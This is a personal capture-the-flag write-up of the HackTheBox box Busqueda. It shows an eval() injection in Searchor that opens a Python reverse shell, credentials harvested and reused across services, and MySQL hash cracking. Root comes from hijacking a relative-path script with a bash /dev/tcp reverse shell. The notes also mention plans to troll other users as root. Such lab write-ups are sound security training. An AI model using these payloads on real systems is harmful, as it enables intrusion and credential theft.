HackTheBox: Busqueda

01/13/2024

This is the third live box Im doing on HTB, after [[Sau]] and [[Pilgrimage]]. This is another 'easy'-rated box (we'll see about that).

Going in, one thing Im going to have to remind myself is that enumeration is always key. Poor enumeration is what caused Pilgrimage to take all week instead of a matter of hours.

This is also the first box im using this note app (obsidian) for- up till now Ive just been taking notes with nano and copy+pasting terminal exerpts into it. Ill go back afterwards and do my writeup for sau and pilgrimage afterwards.

That said, lets begin. As always, Ill be operating from my kali vm.

Enumeration

[[NMAP]] script scan shows only ports 22 ([[SSH]]) and 80 ([[HTTP]]) open. The site on port 80 redirects to "searcher.htb", so Ill add this to /etc/hosts and immediately start a [[nikto]] scan.10.10.11.208

The Nikto scan uncovered the following bit of information that im not quite sure what to do with: "+ : Server banner changed from 'Werkzeug/2.1.2 Python/3.10.6' to 'Apache/2.4.52 (Ubuntu)'." So assumedly its running python?

After visiting the site and checking wappalyzer it is clear why it said that in the nikto scan: The web framework for the site is [[Flask]] v2.1.2, which is built on [[python]], in this case python 3.10.6. After running gobuster and quickly checking the website myself, Ill look for vulnerabilities in either of these pieces of software.

Ill start a gobuster scan in the background while I investigate the site manually. Ill use the directory-2.3-medium wordlist and specify to look for py, html, and txt files.

In the meantime, Ill check the actual site.

Investigating the Web App

The landing page describes the site as a type of search engine aggregator, allowing you to search all sorts of engines from one place. This looks incredibly familiar; Im positive Ive seen this in some other box before.

Anyway, we get another software name and version number: [[searchor]] v2.4.0. A quick search for "searchor 2.4.0 exploit" came up with results and some proof-of-concepts showing that it IS vulnerable to RCE.

There does not appear to be anything else on the site. Since I already know the searchor program has an RCE vuln, Im not going to spend any time skimming through the page source looking for clues, Im just gonna jump right in to the exploit.

Lets do some research on how we pull this off. One thing though: even though a handful of github PoCs jump out immediately, Im going to restrict myself to information that was available before this box came out. Most of the code I see came out AFTER this box was released, which means it was probably custom made for this box, and I dont want to take that shortcut.

Searching "searchor RCE vulnerability" yielded a report by Snyk, here: https://security.snyk.io/vuln/SNYK-PYTHON-SEARCHOR-3166303 One of the links pointed to the changelog of the searchor app that removed the vulnerability, here: https://github.com/ArjunSharda/Searchor/commit/29d5b1f28d29d6a282a5e860d456fab2df24a16b And also to a page on the official searchor github that describes the issue: https://github.com/ArjunSharda/Searchor/pull/130

The box was created April 8th, so Im going to limit myself to information that came out before then.

I dont fucking see anything though, other than the changelog from the searchor creator. But they wouldnt seriosly expect you to find that vulnerability yourself, would they?

Fuck it, Ill use this article from April 10th: https://github.com/jonnyzar/POC-Searchor-2.4.2

The article explains that the 'query' parameter can cause RCE if not sanitized correctly. From the page,


`Vulnerable code includes eval() method:

url = eval(
            f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
        )

If user parameter query is not sanitized it leads to RCE.

    Exploit code for linux target

    Prepare a listener: nc -lvnp PORT
    send this as query parameter to the tested host


', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#`

Sounds simple enough. Ill modify that last line, open a nc listener, and query for that string.

', exec("import socket,subprocess,os;s=socket.socket(socket.AFINET,socket.SOCKSTREAM);s.connect(('10.10.14.12',9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#`

Beautiful, this worked and I caught a reverse shell:


$ nc -nlvp 9001   
listening on [any] 9001 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.208] 40206
/bin/sh: 0: can't access tty; job control turned off
$ whoami
svc
$ 

So I am the user 'svc'. That was fast. Lets upgrade the shell right away:

==$ python3 -c 'import pty; pty.spawn("/bin/bash")'== svc@busqueda:/var/www/app$

Checking /etc/passwd, svc is the only non-root user with a terminal. Because we dont know svc's password, we cant even run 'sudo -l' to check his permissions. Since we're in, I quickly grabbed the user flag from ~/user.txt. Lets do some quick manual enumeration of the system before launching linpeas and pspy.

We start out in /var/www/app. There is a .git directory which may be useful. We have wget, curl, nc and rsync all installed fortunately, so it should be easy enough exfiltrating or downloading files.

In /var/www/app/.git/ there is a 'config' file, with a url to what is assumedly the web app's gitea repo:

http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git

I never heard of Gitea before, but apparently its another version control system that uses git and some other features.

Look at the URL though: It has "cody"'s credentials embedded in the url! user: cody pass: jh1usoih2bkjaspwe92

I added gitea.searcher.htb to /etc/hosts and visited it. I had to disable foxy proxy because Burp had some kind of issue about the name or something.

Okay, so I was met with a 404 page but was able to sign in, and the found creds worked.

This 'gitea' thing appears to be a rather extensive web app. Im going to enumerate this thing in its own section, but first let me load [[pspy]] and [[linpeas]] to run while Im looking in here. Okay. With them running, lets see what information we can get out of the gitea thing (Would that be a subdomain? "gitea.searcher.htb"). Im putting linpeas in /dev/shm in a hidden subdirectory .shane, so that other users dont find it and have it ruined for them.

Also, before I get too far, let me quickly see if the found password works for the 'svc' or 'root' user.

YES! That's also the 'svc' user's password:

svc:jh1usoih2bkjaspwe92

Now I have a legit shell over ssh and dont have to fuck with janky reverse shell.

These notes are getting scattered and out of order since I jumped between different things. Jump past "Examining Linpeas.sh Output" and "Enumerating Gitea" to "Sudo Priv Esc"

Examining Linpeas.sh Output

I didnt notice this earlier, but the svc user has a .mysql_history file (routed to /dev/null) in their home dir. So evidently sql may be running here, and its possible cody's creds would work on it

[+] MySQL version
mysql Ver 8.0.32-0ubuntu0.22.04.2 for Linux on x86_64 ((Ubuntu))

There is an env variable called "INVOCATION_ID". Not sure if it's relevant

Otherwise, nothing really jumps out. All pretty generic. Its probably gonna be something like reused creds.

Also, if the site DOES use mysql, then there should be plaintext creds in a file SOMEWHERE.

Enumerating Gitea

Software/Version num: Gitea 1.18.0+rc1 Public vulns? Yes, for open redirects. None that are relevant to this problem though.

The 'users' tab shows 2 users, 'admin' and 'cody'.

I'm not completely sure what to look for here. I see some change history stuff under the main page (when you click the green mug). Lets see if anything jumps out there...

Checking sudo privs as "svc"

After realizing that the same password for the Gitea user "cody" worked for system user "svc", I can now run "sudo -l" as svc and see if he can run anything as root.


svc@busqueda:/dev/shm/.shane$ sudo -l
[sudo] password for svc: 
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

Okay, glad I caught that before going too deep into the Gitea thing.

Its always good to see python with sudo privileges, even if it's tied to one particular script. Lets check this "system-checkup.py" script and see what looks vulnerable:


svc@busqueda:/dev/shm/.shane$ ls -l /opt/scripts/system-checkup.py 
-rwx--x--x 1 root root 1903 Dec 24  2022 /opt/scripts/system-checkup.py

Okay, so I can only execute it, I cant even read it. Lets try running it and see what happens.


svc@busqueda:/dev/shm/.shane$ sudo python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

This docker stuff is new territory for me, but I guess its kind of like a vm. Or some way of quarantining parts of the system off from the rest. This is basically what I thought was happening when I ran ps aux and only saw about 7 entries, and none were root. Anyway, here's the output of the docker check


svc@busqueda:/dev/shm/.shane$ sudo python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID   IMAGE                COMMAND                  CREATED        STATUS       PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   6 months ago   Up 2 hours   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   6 months ago   Up 2 hours   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db

I know that's basically unreadable because of the formatting. This is the first time Ive used this obsidian app, Ill figure it out eventually. Anyway 2 docker containers are shown: 1) gitea 2) mysql_db

I tried to run the docker-inspect command, but it required a "format" argument and wouldnt tell me the options, so I dont know how to use it.

Oh well. Ill just try 'full-checkup':


svc@busqueda:/dev/shm/.shane$ sudo python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong

Nice, very helpful.

Back to the drawing board. I guess I have to figure out what formats the docker-inspect command will accept. Googling "docker format" actually looks pretty promising:

https://docs.docker.com/config/formatting/

This page talks about formatting options when using "docker inspect", so I think Its a pretty safe bet that this is all the mystery script is doing.

Here's a command straight from the site:


 docker inspect --format '{{join .Args " , "}}' container

So let me try using {{join ,Args " , "}} as the format argument:


svc@busqueda:/dev/shm/.shane$ sudo python3 /opt/scripts/system-checkup.py docker-inspect '{{join .Args " , "}}' mysql_db
mysqld

svc@busqueda:/dev/shm/.shane$ sudo python3 /opt/scripts/system-checkup.py docker-inspect '{{join .Args " , "}}' gitea
/bin/s6-svscan , /etc/s6

Okay? Kinda did something different I guess? This at least confirms that the script is just running "docker inspect" like on the website. Let me research that command more to see what this is actually telling me. According to both the docker website and tldr, docker inspect "returns low-level information on Docker objects".

From the [[tldr]] page on "docker inspect":


- Display the configuration information as JSON:
    docker inspect --format='json .Config' container

Lets try that... nothing. I think that if your IN the docker app you probably cant view the config files, but Im not sure. And my theory (based on no knowledge) is that I am in the 'gitea' container right now, since that appears to be mapped to port 22 which is ssh, which is what Im using to access the system. So ASSUMEDLY im inside a container and not the full system right now.

OH. What the fuck am I doing WONDERING how it works? I bet its in the gitea repo I found the creds to earlier. Let me check... Actually no, nothing of interest there.

Okay. Back to the docker website.

Also, it looks like what "docker-ps" command is doing is actually running "docker images".

Lets try and use pspy to see what the script is actually doing. No luck there, only shows 'bash'

Also, its possible this script is vulnerable to command injection, but Im not going to go down that route unless I see no other option.

Reading more into the formatting page, I found this line:


# Hint[](https://docs.docker.com/config/formatting/#hint)

To find out what data can be printed, show all content as json:

docker container ls --format='{{json .}}'


Running that option with docker-inspect command printed a huge wall of text that's potentially useful.

However, I just realized that what I should be doing right now is researching docker priv esc. There happens to be a promising looking article on the very subject here: https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation

I will start a new section for following this page's tips.

Docker Privilege Escalation

The very first thing I should have checked when I realized the sudo script was basically just running docker commands is GTFOBins.

Surprise surprise, GTFObins DOES have a bit on docker. It depends on the command "docker run", though. I tried copy+pasting the sudo line from GTFO bins onto the command line here with no luck.

Okay, back to the hacktricks page.

The first part of the hacktricks page on docker lists a few automatic scanners and automatic exploiters to try to help escape from container. These include: 1) linpeas 2) CDK 3) amicontained 4) deepce 5) grype

While trying to download one of these from github directly from target I found that it has no internet access. I probably wont try it during THIS session, but I wonder if I could cheat this by using my attacking machine on the VPN as an internet proxy for the target; as the svc user on the target machine, configure it to go through my kali vm as proxy and thus be able to access internet. That would be an interesting experiment

Also, according to hacktricks,


If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it. This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions.

This is in fact the case, as confirmed by running


find / -name docker.sock 2>/dev/null

And finding the docker socket in /run/docker.sock. So apparently I SHOULD be able to escape from the container. The issue is that all docker commands are restricted to root, EXCEPT for the ones that are running in the system-checkup.py script. So ill have to figure out a way to exploit that script.

The error message "something went wrong" when trying to run the full-checkup command is probably a good hint as to what command its running.

Let me try and run the CDK automated vuln scanner for containers. https://github.com/cdk-team/CDK#installationdelivery https://github.com/cdk-team/CDK/releases/ This looks like an awesome tool. You only need the binary, you dont have to compile.

I uploaded it from local server and ran


svc@busqueda:/dev/shm/.shane$ ./cdk_linux_386 evaluate --full

and a colored scan output similar to linpeas appeared and started scrolling. Will check back with results.

Okay, it didnt seem to find anything.

Looking back through the docker inspect dump from earlier, I found a line that I didnt notice earlier:


"GITEA__database__DB_TYPE=mysql","GITEA__database__HOST=db:3306","GITEA__database__NAME=gitea","GITEA__database__USER=gitea","GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh"

Thats obviously a mysql username and password. Now how the fuck do I get into the DB? I cant seem to do it from this container. Maybe if I try it from the web-based reverse shell instead of ssh?

Guess Im not at that point yet; I cant access it from either the web shell or ssh because the socket doesnt exist.

Lets just wade through the information dump and see what can be gathered about the system and our place in it.

From the info dump I THINK that the network 172.19.0.x is important, because thats the only ip I see that is also mentioned when i run ifconfig on the target. No nmap on target so I cant enumerate that way, but here's a ghetto ping scan I did:


svc@busqueda:/dev/shm/.shane$ for i in `seq 0 255`; do ping -c 1 172.19.0.$i; done >> ghetto_netscan.txt &

Running nmap on the network from my own device didnt turn up anything.

The scan isnt finished yet so I wont speak in absolutes, but it looks like the only devices my ghetto scan from the target found are the following:


svc@busqueda:/dev/shm/.shane$ grep from ghetto_netscan.txt 
64 bytes from 172.19.0.1: icmp_seq=1 ttl=64 time=0.081 ms
64 bytes from 172.19.0.2: icmp_seq=1 ttl=64 time=0.091 ms
64 bytes from 172.19.0.3: icmp_seq=1 ttl=64 time=0.086 ms

All the rest were unreachable. (ps: I grepped the word "from" because that word only appears in lines where the ping was successful).

Of the two that were found (besides target itself), I can do a quick-and-dirty manual port enumeration with netcat:


svc@busqueda:/dev/shm/.shane$ nc 172.19.0.2 22
SSH-2.0-OpenSSH_9.0
^C
svc@busqueda:/dev/shm/.shane$ nc 172.19.0.2 80
svc@busqueda:/dev/shm/.shane$ nc 172.19.0.2 443
svc@busqueda:/dev/shm/.shane$ nc 172.19.0.2 8080
svc@busqueda:/dev/shm/.shane$ nc 172.19.0.2 53

As you can see from the above excerpt, SSH is running on port 22 on 172.19.0.2 because we got the banner when we nc'd that port, but the other ports I tried appear to be closed (or filtered). Ill do the same checks on 172.19.0.3 while running this ghetto scan in the background on 172.17.0.x/24, 172.18.0.x/24, and 172.20.0.x/24 (everything listed in ifconfig.)

Nothing appears to be running on the common ports on 172.19.0.3.

Alright, lets take a hail-mary shot at ssh'ing into 172.19.0.2 with known credentials (svc and cody): nope, got "permission denied (publickey)"

The ghetto scans on the other networks are up to ~131/255 and still havent found any other systems on their networks. Oh well, it was worth a look.

I know Im taking my time with this one, but Im enjoying just exploring the system and experimenting. I'd like to be finished within the next few hours though, so I guess I better step up the pace...

Given that this is a CTF, the script I can run as sudo is obviously the key here. I just need to figure out how to exploit it. It would be nice if there was some kind of LFI in the system so that I could read the damn thing...

I think I mentioned this before, but I wonder if the python script is possibly vulnerable to command injection? I doubt it, but it would be interesting to try. Like possibly passing an argument to it along the lines of "docker-ps&whoami"

I have a hunch that the final command in the system-checkup script, "full-checkup", is using "docker run <args here>". Thats mostly based on the fact that this is a CTF and docker run seems to be the usual priv esc method according to GTFObins. This theory is supported by some code Ive seen on github though, which used docker run for a system checkup.

In all the examples ive seen where 'docker run' was used, I believe a path was passed to it for the file to actually run. Let me double check that. If thats the case, maybe I could find the file that the script is running

Oh shit wait, it turns out I didnt dump all the information earlier! I only got the gitea one, dumbass. I just got the mysql_db one by the following command:


$ sudo python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' mysql_db

This data actually looks like it will be more useful EVENTUALLY, because it has the mysql root credentials:


MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF","MYSQL_USER=gitea","MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh"

The gitea dump didnt have that.

SHIT! Know what I didnt check when I manually enumerated ports on the other machine found through my ghetto scan? The MySQL ports! Looks like 3306,

Try that immediately. Check if there's any exposed mysql ports that I can use. Then if that doesnt work, dive deeper into the data dumps. There's so much info there that there MUST be something useful. Paths, ports, IPs, credentials, anything... So: * check through the data dump * search for file that script may be using docker run on

Im actually starting to think the full-checkup command in the script is NOT 'docker run', because I ran what I think is a pretty clever test; I ran 'strings' on the docker binary and grepped for the error message "Something went wrong" that the script displays, and there were no exact matches. There was a string that was close, "Something went wrong decoding auth config", but not exact match.


$ sudo python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong

$ strings /usr/bin/docker | grep "Something went wrong"

Something went wrong decoding auth config

Im also going to run DeepCE in the background... didnt turn up anything

OOH! Nice! I missed this during my first manual port enumeration:


svc@busqueda:~$ nc 127.0.0.1 3306
J
8.0.31�%:l+ATB�����:b|P3%{caching_sha2_password^C

So mysql is open on localhost! Thats such a brainfuck to me since Im still new to this. It doesnt show up when I run nmap on the target ip, but from this container I can see that its open. Hmm. Let me try to access the db this way...


svc@busqueda:~$ mysql -u root -h 127.0.0.1 --password
Enter password: (copy+pasted 'jI86kGUuj87guWr3RyF', from data dump)
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 163
Server version: 8.0.31 MySQL Community Server - GPL

Copyright (c) 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> 

HOLY FUCK IM IN! Im a god damn genius. And to show that it doesnt work the normal way,


svc@busqueda:~$ mysql -u root --password
Enter password: jI86kGUuj87guWr3RyF
ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)

And it doesnt work from OUTSIDE the target (ie, my kali vm) because the port isnt even open externally. This is so cool.

Exploring the MySQL database

Okay, so I got into the db as root. There's different ways to go from here: 1) Look for user credentials 2) Try priv esc through UDF. This has a lot of requirements though, and needs a lot of non-default configurations. 3) See if I can use system shell, and who the user is

Ill go ahead and see if the shell is enabled first. It is, but it's running as svc. I guess that makes sense.

Lets start enumerating the db, and hopefully find admin creds.


mysql> SHOW DATABASES;

+--------------------+
| Database           |
+--------------------+
| gitea              |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
5 rows in set (0.01 sec)

In gitea db, table 'user', we have hashes for admin and cody. The hash algorithm is 'pbkdf2', but there are different subtypes. Ill check the gitea source code and documentation to see if its stated.

I dont see it mentioned in the documentation in the 2 minutes I spent looking and I dont feel like trying to find it in the huge amount of source code. I can probably make an educated guess though.

The subtypes of PBKDF2 are: 1) PBKDF2-HMAC-MD4 2) PBKDF2-HMAC-MD5 3) PBKDF2-HMAC-SHA1 4) PBKDF2-HMAC-SHA256 5) PBKDF2-HMAC-SHA512

(this was found by running "john --list=formats" and grepping for PBKDF2)

The hash found is 101 hex chars which is 404 bits. That automatically rules out MD4 and MD5, both of which are 128 bits. It rules out SHA1 which is 160 bits. It rules out SHA256 which is 256 bit. The only option left is SHA512, but it isnt 512 bits... the fuck? The only other option I can think of is if its salted SHA256, but that would be a long-ass salt at 37 hex chars... (101 hex chars minus 64 hex chars for 256 bit hash)

Okay, spent 30 seconds longer and found it in the gitea docs. From the gitea docs found here, https://docs.gitea.com/next/administration/config-cheat-sheet


**pbkdf2**: The hash algorithm to use [argon2, pbkdf2, pbkdf2_v1, pbkdf2_hi, scrypt, bcrypt], argon2 and scrypt will spend significant amounts of memory.

- `pbkdf2$<iterations>$<key-length>`

The defaults are:
- `pbkdf2`: `pbkdf2$50000$50`
- `pbkdf2_v1`: `pbkdf2$10000$50`
- `pbkdf2_v2`: `pbkdf2$50000$50`
- `pbkdf2_hi`: `pbkdf2$320000$50`

Yeah, fuck that. 50000 iterations per hash? John isnt gonna get that. Better keep looking for more useful info.

The mysql db has hashes too, but they seem fucked up. Theyre supposedly SHA2 but they dont have the right number of characters...

Apparently it's MySQL's fucked-up in-house algorithm. Probably not gonna have any luck there. Lets keep looking, maybe someone fucked up and left cleartext creds or keys in the db....

Im not seeing any. Fuuuck. What do I do? Do I really have to try brute forcing the hashes?

Okay, here's some ideas: 1) look through ippsec.rocks for mysql hashes 2) look through hashcat example hashes (https://hashcat.net/wiki/doku.php?id=example_hashes) for hashes that match the kind I found 3) See if I can find the database settings through the mysql shell. Maybe that will tell me what kind of hashing its using OR let me change the format. 4) BETTER IDEA! Try to load the hashes into output file and grab it from bash shell

No luck writing hashes to file.

AHA! I WAS able to get the hashes to print in hex instead of raw ascii, like so:


mysql> SELECT HEX(authentication_string) from mysql.user;
+----------------------------------------------------------------------------------------------------------------------------------------------+
| HEX(authentication_string)                                                                                                                   |
+----------------------------------------------------------------------------------------------------------------------------------------------+
| 2441243030352455450D5D595F3E02231E14121F3064695340796664536238386A326E31717A2E395A703947314A55334F347A6A316461514E3652754C3263633835684D6838 |
| 2441243030352448733A5E4830075303703E2D3C784662606E417C715977503659594D56577663556E39476239695734472F6541484A6637673034777A356B67563269584E36 |
| 2441243030352454484953495341434F4D42494E4154494F4E4F46494E56414C494453414C54414E4450415353574F5244544841544D5553544E455645524252424555534544 |
| 2441243030352454484953495341434F4D42494E4154494F4E4F46494E56414C494453414C54414E4450415353574F5244544841544D5553544E455645524252424555534544 |
| 2441243030352454484953495341434F4D42494E4154494F4E4F46494E56414C494453414C54414E4450415353574F5244544841544D5553544E455645524252424555534544 |
| 2441243030352438700A6854042668645D69216C0262761802793D366D6F376D797259564738477037465A2F5349505132336C4B4D34597175576355764B5156544A35426A39 |
+----------------------------------------------------------------------------------------------------------------------------------------------+

Basically you just specify "hex(column_name)" in the query. Damn, I wasted a lot of time on that... but hey, I learned something. Thanks to this stack overflow page for the tip: https://stackoverflow.com/questions/40980281/display-binary16-column-as-hex-in-mysql

According to hashcat, the hash should look like this:


$mysql$A$005*F9CC98CE08892924F50A213B6BC571A2C11778C5*625479393559393965414D45316477456B484F41316E64484742577A2E3162785353526B7554584647562F

The segment between the asterisks is 40 chars. It may take a few tries to get it into a form john will recognize.

No luck with john, but hashcat apparently has a mode specifically for mysql hashes (\$A$), that being mode 7401. I need a little more information first apparently; I need to know how many iterations the SQL server uses to hash the password. I was able to find this by running


mysql> SHOW VARIABLES;

	...

| caching_sha2_password_digest_rounds                      | 5000   

	...

Okay, so it uses the standard 5000 rounds.

Ive never used hashcat before, so I need to go learn how to use it.

This is a fucking nightmare. It took hours just to get hashcat to even recognize the hash as something valid, I had to use this query in the footnotes of the hashcat example hashes page:


SELECT user, CONCAT('$mysql', SUBSTR(authentication_string,1,3), LPAD(CONV(SUBSTR(authentication_string,4,3),16,10),4,0),'*',INSERT(HEX(SUBSTR(authentication_string,8)),41,0,'*')) AS hash FROM mysql.user WHERE plugin = 'caching_sha2_password' AND authentication_string NOT LIKE '%INVALIDSALTANDPASSWORD%';

and now that it recognizes it as mysql hashes, Im getting an error


* Device #1: ATTENTION! OpenCL kernel self-test failed.

Your device driver installation is probably broken.
See also: https://hashcat.net/faq/wrongdriver

Oh hell no. I may have to set this aside and pick it back up tomorrow, Ive already been working on this ~8 or 9 hours today. Im close, i think, I just dont know if I have it in me to fuck with GPU drivers right now. I might call it a night on this one and work on a box with a writeup or on setting up my website.

Woah woah woah hold up... maybe I was barking up the wrong tree trying to crack the hashes...


svc@busqueda:/dev/shm/.shane$ sudo python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup


svc@busqueda:/dev/shm/.shane$ ls /opt/scripts
check-ports.py  full-checkup.sh  install-flask.sh  system-checkup.py

svc@busqueda:/dev/shm/.shane$ env | grep PATH
PATH=/home/svc/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

I just realized something. The script I can run as sudo very clearly calls ANOTHER script when you use the full-checkup command, that script being "/opt/scripts/full-checkup.sh"... this got me thinking, maybe it would be vulnerable to a path hijacking attack (or whatever you call it when you modify the path to cause it to execute your own code). So I checked my path for any directories that might be writeable, and look at that, a subdirectory in my own home dir is the first item on the path... I think I know what to do. Ill add a malicious file to /home/svc/.local/bin and run the sudo script again, see if it executes. If it does, I can escape the docker container and get root shell using gtfobins

Damn.... no luck there, it seems.

Can I use strace on it?


$ strace sudo python3 /opt/scripts/system-checkup.py full-checkup

I dont get a permission denied, but it just doesnt run. It seems to catch that Im using strace and terminates

Damn. It looks like path hijacking is a no-go.

Here's a SUPER ghetto method to guess what the script might be doing: ill run strings on every binary in /usr/bin/, and grep for "Something went wrong". This way maybe I can identify which binary is actually running when you do 'full-checkup.py':


$ strings /usr/bin/* | grep 'Something went wrong'

Damn; there were no exact matches. It must be an 'echo' command in the script rather than output from a binary itself.

I tried command injection on the script again but got nothing.

FUCK. First Im gonna try to install the opencl stuff to run hashcat. If that doesnt turn up anything through the hashes ive got, Im gonna hit the discussion page.

Troubleshooting opencl and hashcat

Fuck my life this is a nightmare.


sudo lspci -v

	...

Subsystem: Dell Radeon R7 250

So the system confirms that the GPU is radeon r7 250.

According to this page (https://www.techpowerup.com/gpu-specs/radeon-r7-250-oem.c2731), that means the architecture is GCN 1.0

Back on the arch wiki amdgpu page (https://wiki.archlinux.org/title/Xorg#AMD), I see that I can either use an experimental amdgpu version or 'ATI' as the open-source driver.

Apparently the damn graphics card is so old (2013) that its 'legacy', and needs a special set of software to run. That would be 'orca' and it has to be installed from AUR.

Fuck it... doesnt look like Ill be getting it to run on this card any time soon. Probably just need a more modern graphics card.

It turns out kali would let me run it in cpu-only mode, so I did that. I let it run for 4 hours unsuccessfully before terminating it. I dont think it would take so long if that were the intended approach, so I guess its back to the sudo script.

Some useful hints from the forum

Im a fucking idiot. It turns out there was more in the gitea repo that I didnt even think to check, when you sign in as administrator. Someone in the forum just mentioned that the gitea repo was involved with the priv esc, so they didnt completely give me the answer, but still helped a lot. It turns out he just reused one of the passwords found earlier, that being the password for the 'gitea' user in the mysql DB. I found it by just trying to sign in through the web app. Heres the creds:


administrator:yuiu1hoiu4i5ho1uh

Now I can see a lot more code. One of the repos is 'administrator/scripts', lets check it out...

You have to be fucking joking, right? Its so fucking simple, I cant believe I didnt get the script to produce output earlier. Jesus christ. All you have to do to get full checkup to work is be in the same directory as the script, and here's why:

system-checkup.py


elif action == 'full-checkup':
try:
    arg_list = ['./full-checkup.sh']
    print(run_command(arg_list))
    print('[+] Done!')
except:
    print('Something went wrong')
    exit(1)

Fuck's sake. Its because it invokes the script using relative path. I cant believe in the 12+ hours I spent on this fucking thing that I never tried running the script from inside that directory, but sure enough, when you run it in /opt/scripts the full-checkup command works.

The exploit here is obvious. Ill write my own full-checkup.sh, and just call the sudo script while in the directory of my malicious script. Jesus, I cant believe I didnt fucking think of that.

Here's my malicious payload:


#!/bin/bash

bash -i >& /dev/tcp/10.10.14.12/9001 0>&1

And HERE is it working:


$ nc -nlvp 9001         
listening on [any] 9001 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.208] 39280
root@busqueda:/dev/shm/.shane# 

FUCK YEAH. Damn, I went way deep into the mysql rabbit hole on this one.

https://www.hackthebox.com/achievement/machine/1450385/537

I had initially tried to get the shell script to just create a new shell on the spot rather than a reverse shell, but I couldnt get that working.

Post-Rooting: Studying the Sytem

Per Ippsec's advice, After rooting the system, Ill spend some time studying the system configuration and source code to learn from it. This is probably actually a good way to accelerate learning sysadmin stuff, and getting familiar with cool software like Gitea and docker. I should really try setting this stuff up myself to really get the most out of it

I would also like to try an experiment. The docker container you ssh into didnt have internet: would it be possible to get the target to use myself as a proxy for internet? May be a good way of bypassing that restriction if so. See how I would do that and then try it

READ THE DOCKER CHECKUP SCRIPT!!!

Also, after rooting, go back to the start and try to discover the command injection vulnerability by hand. Because Im pretty sure the first people to do this box must have done it by hand

So I am root IN THE DOCKER CONTAINER. Can I escape the container into the host? I tried this from gtfobins:


docker run -v /:/mnt --rm -it alpine chroot /mnt sh


but was unsuccessful.

When I have more time, I have a bunch of funny but mildly-malicious things to try as root to troll people. Ill make a link to that: [[trolling people as root]]

One funny trick you can do is write to other people's pts. This is something I found a long time ago. You cant 'echo' to their pts, but you CAN cat ASCII files to it like so:


$ cat \<filename> >> /dev/pts/\<target user's pts number>